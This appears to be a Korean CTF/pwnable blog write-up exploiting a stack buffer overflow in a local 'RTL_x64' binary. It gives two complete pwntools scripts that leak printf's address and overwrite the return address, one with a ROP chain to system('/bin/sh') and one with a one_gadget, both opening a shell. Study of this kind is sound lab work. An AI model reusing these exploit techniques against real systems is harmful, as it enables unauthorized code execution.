728x90
checksec
IDA로 pseudo code 확인
19-21: printf("inpupt: ", argv); argv = (const char **)&buf; read(0, &buf, 0x60uLL);
주소 구하기 / offset 구하기
pop rdi; ret : 0x400a13
Exploit
from pwn import *
context.log_level="debug"
p=process("./RTL_x64")
elf=ELF("./RTL_x64")
p.sendlineafter("> ", "2")
p.recvuntil("printf() addr: ")
printf=int(p.recvuntil('\n'),16)
log.info(hex(printf))
sysAdd=printf - 66672
binsh=printf + 1275223
poprdi=0x400a13
p.sendlineafter("> ", "1")
p.recvuntil("input: ")
pl="A"*72
pl+= p64(poprdi)
pl+=p64(binsh)
pl+=p64(sysAdd)
p.send(pl)
p.sendlineafter("> ", "3")
p.interactive()
while문을 최종적으로 종료시키기 위해 /bin/sh와 system()의 주소까지 전달하고 난 후 menu창이 다시 뜨면 3을 입력해 종료되도록 함
onegadget 사용한 version
from pwn import *
#context.log_level="debug"
p=process("./RTL_x64")
elf=ELF("./RTL_x64")
libc=elf.libc
p.sendlineafter("> ", "2")
p.recvuntil("printf() addr: ")
printf=int(p.recvuntil('\n'),16)
#log.info(hex(printf))
libcbase= printf - libc.symbols['printf']
p.sendlineafter("> ", "1")
p.recvuntil("input: ")
pl="A"*72
pl+=p64(libcbase + 0x45216)
p.send(pl)
p.sendlineafter("> ", "3")
p.interactive()
libc = elf.libc //로컬 디렉터리내의 라이브러리를 불러옴
libcbase = printf - libc.symbols['printf']
pl+=p64(libcbase+0x45216) // one gadget을 통해 구해진 offset을 더해 바로 execve( "/bin/sh", , )로 return address를 넣어주면 됨
SMALL
'System > PWNABLE' 카테고리의 다른 글
shot (0) | 2020.06.01 |
---|---|
simpleRTL (0) | 2020.05.30 |
[TAMU 2019] pwn1 (0) | 2020.05.30 |
[TAMU 2018] pwn4 (0) | 2020.05.24 |
[HITCON] Training lab4 ret2libc (0) | 2020.05.24 |